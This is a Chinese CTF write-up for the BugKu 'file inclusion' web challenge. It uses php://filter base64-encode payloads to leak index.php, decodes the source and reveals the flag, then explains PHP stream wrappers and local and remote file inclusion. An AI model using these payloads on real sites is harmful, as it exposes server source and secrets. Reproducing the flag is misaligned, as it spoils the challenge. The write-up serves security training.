BUGKU-WEB 文件包含

题目描述

题目截图如下:
在这里插入图片描述

进入场景看看:
在这里插入图片描述

解题思路

  • 你说啥我就干啥:点击一下试试
  • 你会想到PHP伪协议这方面去嘛,你有这方面的知识储备吗?

相关工具

解题步骤

  1. 查看源码

在这里插入图片描述
看到了一点提示信息:

./index.php?file=show.php

点击后显示:
在这里插入图片描述

看到?file=XXX.php,那不就是典型的文件包含吗?
页面显示了index.php,那就修改试试(打不开):

?file=index.php

在这里插入图片描述
我是个菜鸡,想不到也不知道什么是PHP伪协议:请看【新知识点】部分

这里需要用的一个伪协议php://filter:是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
可以使用php://filter获取指定文件源码:

?file=php://filter/resource=xxx.php

在这里插入图片描述
发现啥也没有显示,这是因为:

通常获取源代码时,伪协议将xxx.php当文件执行,使得很多信息往往不能直接显示在浏览器页面上,通常使用base64编码后再显示

?file=php://filter/convert.base64-encode/resource=index.php

在这里插入图片描述
convert.base64-encode:是一个过滤器,看到encode可以知道这是一个加密的过滤,那自然就有convert.base64-decode,解密了。简单来说就是:对数据流进行编码,通常用来读取文件源码。

这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。

这里对资源文件show.php进行加密了,所以显示:

aW5kZXgucGhw

加上==后进行base64解密就可以复现:(index.php)
在这里插入图片描述
现内容就是index.php,说明show.php没有隐藏信息。

所以同理,对index.php使用伪协议执行一下:

http://114.67.175.224:15954/?file=php://filter/convert.base64-encode/resource=index.php

在这里插入图片描述
可以看到一串很长的东西,但注意最后的==,必须下意识去解密看看:

77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2M2ZjMwYWZiMDJkYmU2YTU5ODMzODZjNWQzZTA0MTJjfQ0KPz4NCjwvaHRtbD4NCg==

在这里插入图片描述
得到:

<html>
    <title>Bugku-web</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{c6f30afb02dbe6a5983386c5d3e0412c}
?>
</html>

可以看到注释有flag了

PS:

参考其他WP发现都使用了一个read=,这是啥?
在这里插入图片描述
可以看到,说是这个参数可以不选,在PHP伪协议中,read是一个用于读取文件内容的操作符。它可以与伪协议中的其他操作符结合使用,用于读取文件的特定部分或指定偏移量的内容。

使用read操作符时,你需要指定一个文件路径和一个长度参数。read操作符将返回指定长度的文件内容。

?file=php://filter/read=convert.base64-encode/resource=index.php

稍微解释下这个做法:

  • php://filter/ 是一种访问本地文件的协议
  • /read=convert.base64-encode/ 表示读取的方式是 base64 编码后
  • resource=index.php 表示目标文件为index.php。

问什么要进行 base64 编码呢?如果不进行 base64 编码传入,index.php 就会直接执行,我们就看不到文件中的内容了。

得到Flag

flag{c6f30afb02dbe6a5983386c5d3e0412c}

在这里插入图片描述

新知识点

PHP伪协议

  • PHP伪协议是一种特殊的协议,用于访问和操作不同资源和数据。
  • 以"php://"开头,并提供了一组预定义的流封装器,用于处理各种不同的资源和操作。
  • 可以用于访问和操作本地文件、远程文件、网络服务、数据库、压缩文件等。
  • 使用PHP伪协议,可以像访问本地文件一样访问远程文件。
  • 常见的PHP伪协议及其用途:
php://filter:可用于从不同来源(如文件、网络套接字或PHP输入/输出流)读取或写入数据。

php://input:用于访问HTTP请求中的原始请求体的数据,比如处理POST请求时可以使用这个协议来获取请求的数据。

php://output:用于将数据输出到标准输出流,可以通过这个协议来实现将数据发送至浏览器。

php://stdin:用于读取标准输入流中的数据,可以通过这个协议来处理从命令行输入的数据。

php://stderr:用于将错误信息输出到标准错误流,可以通过这个协议将错误日志输出到命令行或日志文件。

php://memory:用于创建一个可读写的内存流,可以通过这个协议来存储和操作数据。

php://temp:用于创建一个可读写的临时文件流,可以通过这个协议来存储和操作数据。

file://:用于访问本地文件系统中的文件,可以通过这个协议来读取和写入文件。

http://:用于访问远程HTTP资源,可以通过这个协议来获取远程服务器上的数据。

ftp://:用于访问远程FTP服务器上的文件,可以通过这个协议来上传和下载文件。
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

  • php://filter的语法如下:
php://filter/[action]/resource
  • [action]指定要执行的过滤操作类型
  • [resource]是要过滤的文件或流的名称。

例如,可以使用以下代码从文件中使用特定的过滤器读取数据:

$filteredData = file_get_contents('php://filter/read=filter_name/resource=path/to/file');

类似地,可以使用以下代码将数据写入文件并应用过滤器:

file_put_contents('php://filter/write=filter_name/resource=path/to/file', $data);

在这些示例中,filter_name是要应用的过滤器的名称。PHP中有各种内置过滤器可用,如zlib.inflate、string.toupper、string.rot13等。您还可以使用PHP提供的过滤器API创建自定义过滤器。

使用php://filter可以在不将数据保存到物理文件中的情况下处理数据流,或者在读取或写入数据之前对数据应用特定的转换时非常有用。

文件包含漏洞

  • 在开发过程中,当频繁需要跳转网页,或者需要某个函数时,程序员喜欢将重复的函数写到一个单独的文件中,在需要时调用文件,这种文件调用叫做文件包含。

  • 但是这也产生了文件包含漏洞,产生原因是在通过 PHP 的函数引入文件时,为了灵活包含文件会将被包含文件设置为变量,通过动态变量来引入需要包含的文件。

  • 此时用户可以对变量的值可控,而服务器端未对变量值进行合理地校验或者校验被绕过,就会导致文件包含漏洞。

分类:

  • 本地包含
    当包含的文件在服务器本地时,就形成了本地文件包含。文件包含可以包含任意文件,被包含的文件可以不是 PHP 代码,可以是文本或图片等。只要文件被包含就会被服务器脚本语言执行,如果包含的文件内容不符合 php 语法,会直接将文件内容输出。例如下面这段简易的代码:
<?php
    $file = $_GET['file'];
    include($file);
?>
  • 远程包含
    当包含的文件在远程服务器上时,就形成了远程文件包含。所包含远程服务器的文件后缀不能与目标服务器语言相同,远程文件包含需要在 php.ini 中设置:
allow_url_include = on(是否允许 include/require 远程文件)
allow_url_fopen = on(是否允许打开远程文件)

参考链接

  1. PHP伪协议详解
  2. CTF-WEB:PHP 伪协议
  3. 探索php://filter在实战当中的奇技淫巧

有用的话,请点赞收藏评论,帮助更多的同学哦

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/402362.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[TCP] TCP/IP 基础知识词典(2)

我想统计一下&#xff0c;TCP/IP 尤其是TCP协议&#xff0c;能搜到的常见的问题&#xff0c;整理起来&#xff0c;关键词添加在目录中&#xff0c;便于以后查阅。 目前预计整理共3篇&#xff1a; [TCP] TCP/IP 基础知识问答 &#xff1a;基础知识 [TCP] TCP/IP 基础知识问答&…

LeetCode--代码详解 59. 螺旋矩阵 II

59. 螺旋矩阵 II 题目 给你一个正整数 n &#xff0c;生成一个包含 1 到 n2 所有元素&#xff0c;且元素按顺时针顺序螺旋排列的 n x n 正方形矩阵 matrix 。 示例 1&#xff1a; 输入&#xff1a;n 3 输出&#xff1a;[[1,2,3],[8,9,4],[7,6,5]]示例 2&#xff1a; 输入&a…

django配置视图并与模版进行数据交互

目录 安装django 创建一个django项目 项目结构 创建视图层views.py 写入视图函数 创建对应视图的路由 创建模版层 配置项目中的模版路径 创建模版html文件 启动项目 浏览器访问结果 安装django pip install django 创建一个django项目 这里最好用命令行完成&#xf…

力扣OJ题——随机链表的复制

题目&#xff1a; 138. 随机链表的复制 给你一个长度为 n 的链表&#xff0c;每个节点包含一个额外增加的随机指针 random &#xff0c;该指针可以指向链表中的任何节点或空节点。 要求&#xff1a;构造这个链表的 深拷贝 深拷贝应该正好由 n 个 全新 节点组成&#xff0c;其中…

websocket与Socket的区别

概念讲解 网络&#xff1a;通俗意义上&#xff0c;也就是连接两台计算器 五层网络模型&#xff1a;应用层、传输层、网络层、数据链路层、物理层 应用层 (application layer)&#xff1a;直接为应用进程提供服务。应用层协议定义的是应用进程间通讯和交互的规则&#xff0c;不…

数据库事物复习

事务 比如说将张三的银行账户拿出一千给李四&#xff0c;首先需要查询张三的账户余额&#xff0c;扣除1000&#xff0c;然后如果给李四加上1000的过程中出现异常会回滚事务&#xff0c;临时修改的数据会回复回去。 -- 1. 查询张三账户余额 select * from account where name …

【2024软件测试面试必会技能】Selenium(6):元素定位_xpath定位

XPATH是什么 XPATH是一门在XML文档中查找信息的语言&#xff0c;XPATH可用来在XML文档中对元素和属性进行遍历&#xff0c;主流的浏览器都支持XPATH&#xff0c;因为HTML页面在DOM中表示为XHTML文档。Selenium WebDriver支持使用XPATH表达式来定位元素。 Xpath常用如下6种定位…

安卓APP和小程序渗透测试技巧总结

本文章仅供学习和研究使用&#xff0c;严禁使用该文章内容对互联网其他应用进行非法操作&#xff0c;若将其用于非法目的&#xff0c;所造成的后果由您自行承担。 由于安卓7开始对系统安全性做了些改动&#xff0c;导致应用程序不再信任客户端证书&#xff0c;除非应用程序明确…

OpenTiny Vue 组件库适配微前端可能遇到的4个问题

本文由体验技术团队 TinyVue 项目成员岑灌铭同学创作。 前言 微前端是一种多个团队通过独立发布功能的方式来共同构建现代化 web 应用的技术手段及方法策略&#xff0c;每个应用可以选择不同的技术栈&#xff0c;独立开发、独立部署。 TinyVue组件库的跨技术栈能力与微前端十…

搜维尔科技:【周刊】适用于虚拟现实VR中的OptiTrack

适用于 VR 的 OptiTrack 我们通过优化对虚拟现实跟踪最重要的性能指标&#xff0c;打造世界上最准确、最易于使用的广域 VR 跟踪器。其结果是为任何头戴式显示器 (HMD) 或洞穴自动沉浸式环境提供超低延迟、极其流畅的跟踪。 OptiTrack 主动式 OptiTrack 世界领先的跟踪精度和…

医药之链:基于Django的智能药品管理系统

框架 Python 3.7 django 3.2.13 Bootstrap&#xff08;前端&#xff09; sqlite&#xff08;数据库&#xff09;导包 pip install django3.2.13 pip install pandas pip install xlwt环境搭建 登录 zfx 123456

docker 容器内服务随容器自动启动

docker 容器内服务随容器自动启动 背景准备工作方案一&#xff0c;直接修改.bashrc文件&#xff08;简单粗暴&#xff09;方案二&#xff0c;编写启动脚本加入.bashrc文件&#xff08;文明一点&#xff09;制作nginx服务自启动镜像测试新镜像&#xff0c;nginx服务随容器自动启…

HGAME week2 web

1.What the cow say? 测试发现可以反引号命令执行 ls /f* tac /f*/f* 2.myflask import pickle import base64 from flask import Flask, session, request, send_file from datetime import datetime from pytz import timezonecurrentDateAndTime datetime.now(timezone(…

【Java多线程】分析线程加锁导致的死锁问题以及解决方案

目录 1、线程加锁 2、死锁问题的三种经典场景 2.1、一个线程一把锁 2.2、两个线程两把锁 2.3、N个线程M把锁&#xff08;哲学家就餐问题&#xff09; 3、解决死锁问题 1、线程加锁 其中 locker 可以是任意对象&#xff0c;进入 synchronized 修饰的代码块, 相当于加锁&…

OpenGauss数据库本地搭建并结合内网穿透实现远程访问

文章目录 前言1. Linux 安装 openGauss2. Linux 安装cpolar3. 创建openGauss主节点端口号公网地址4. 远程连接openGauss5. 固定连接TCP公网地址6. 固定地址连接测试 前言 openGauss是一款开源关系型数据库管理系统&#xff0c;采用木兰宽松许可证v2发行。openGauss内核深度融合…

【AIGC】开源音频工具AudioCraft

AudioCraft是一个开源框架&#xff0c;旨在生成高质量的音频&#xff0c;适用于音乐、声音生成和压缩等多种应用。 先听效果&#xff1a; aimusic 它由三个模型组成&#xff1a;MusicGen、AudioGen和EnCodec。 MusicGen&#xff1a; 这个模型使用了Meta拥有和特别许可的音乐进…

如何使用Docker本地部署Jupyter+Notebook容器并结合内网穿透实现远程访问

文章目录 1. 选择与拉取镜像2. 创建容器3. 访问Jupyter工作台4. 远程访问Jupyter工作台4.1 内网穿透工具安装4.2 创建远程连接公网地址4.3 使用固定二级子域名地址远程访问 本文主要介绍如何在Ubuntu系统中使用Docker本地部署Jupyter Notebook&#xff0c;并结合cpolar内网穿透…

UE4 C++联网RPC教程笔记(三)(第8~9集)完结

UE4 C联网RPC教程笔记&#xff08;三&#xff09;&#xff08;第8~9集&#xff09;完结 8. exe 后缀实现监听服务器9. C 实现监听服务器 8. exe 后缀实现监听服务器 前面我们通过蓝图节点实现了局域网连接的功能&#xff0c;实际上我们还可以给项目打包后生成的 .exe 文件创建…

edge安装fdm插件

下载 https://www.crxsoso.com/webstore/detail/ahmpjcflkgiildlgicmcieglgoilbfdp 安装 进入edge插件管理页面 edge://extensions/2. 将下载的crt文件拖到这个页面&#xff0c;就能自动安装了 在其他网页不能安装&#xff0c;会变成下载。

2024年noc比赛Coding创意编程赛项-创意实验室初赛模拟题

【单选题】 1.角色本来面向的方向是右方,执行下方积木后,角色面向的方向是() A.面向右上方 C.面向左上方 B.面向右下方 D.面向左下方 2.下列选项中关于图中按钮功能说法错误的是() A."本地传”按钮可以从本地电脑上传素材 B."重新画”按钮可以自己设计素材 C"…